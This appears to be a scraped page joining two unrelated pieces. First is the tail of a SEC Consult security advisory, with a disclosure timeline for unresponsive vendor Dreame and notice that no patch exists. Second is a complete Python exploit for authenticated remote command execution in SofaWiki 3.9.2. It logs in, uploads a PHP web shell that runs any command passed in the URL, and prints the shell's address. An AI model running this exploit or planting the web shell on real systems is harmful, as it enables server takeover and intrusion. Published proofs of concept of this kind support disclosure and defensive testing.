marketing@dreame.tech. Requesting security contact again. As they are unresponsive, setting release date to 18th April. 2024-04-11: Same ticket auto-response (#82521551) as from 2024-02-06: "Thank you for your great support and interest in our products! This is Dreame aftersales team; we are glad to be at your service. For your request, please kindly contact our marketing department (Email: marketing@dreame.tech) for direct assistance. Feel free to contact us with product related issues or concerns you may have." 2024-04-11: Sending them once again that marketing does not respond (and should not be responsible for security) and that we proceed to release the advisory on 2024-04-18. 2024-04-12: Vendor: "Thank you for reaching Dreame. We're sorry for the inconvenience. According to our service policy, we have no access to confirm any application for cooperation. We have already contacted our sales team and IT support to further check your information. They will reply to you if they decide to proceed cooperation with you. Your kind understanding and patience are greatly appreciated." 2024-04-18: Public release of security advisory. Solution: --------- The vendor was unresponsive/uncooperative during multiple months of trying to establish a security contact and to send them our findings. There is no patch/ solution available. Try to contact your local support team and request a patch for this issue. Stay up-to-date with firmware and app installations and be vigilant. Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Eviden business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: https://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Alissa Kim / @2024 </code></pre>

<pre><code># Exploit Title: SofaWiki 3.9.2 - Remote Command Execution (RCE) (Authenticated) # Discovered by: Ahmet Ümit BAYRAM # Discovered Date: 18.04.2024 # Vendor Homepage: https://www.sofawiki.com # Software Link: https://www.sofawiki.com/site/files/snapshot.zip # Tested Version: v3.9.2 (latest) # Tested on: MacOS import requests import random import sys import time def main(): if len(sys.argv) < 4: print("Usage: python exploit.py <base_url> <username> <password>") sys.exit(1) base_url, username, password = sys.argv[1:4] filename = f"{random.randint(10000, 99999)}.phtml" session = requests.Session() login_url = f"{base_url}/index.php" login_data = { "submitlogin": "Login", "username": username, "pass": password, "name": "SofaWiki", "action": "login" } print("Exploiting...") time.sleep(1) response = session.post(login_url, data=login_data) if "Logout" not in response.text: print("Login failed:", response.text) sys.exit() print("Login Successful") time.sleep(1) php_shell_code = """ <html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> </pre> </body> </html> """ print("Shell uploading...") time.sleep(1) upload_url = f"{base_url}/index.php" files = { "uploadedfile": (filename, php_shell_code, "text/php"), "action": (None, "uploadfile"), "MAX_FILE_SIZE": (None, "8000000"), "filename": (None, filename), "content": (None, "content") } response = session.post(upload_url, files=files) if response.status_code == 200: print(f"Your shell is ready: {base_url}/site/files/{filename}") else: print("Upload failed:", response.text) if __name__ == "__main__": main() </code></pre>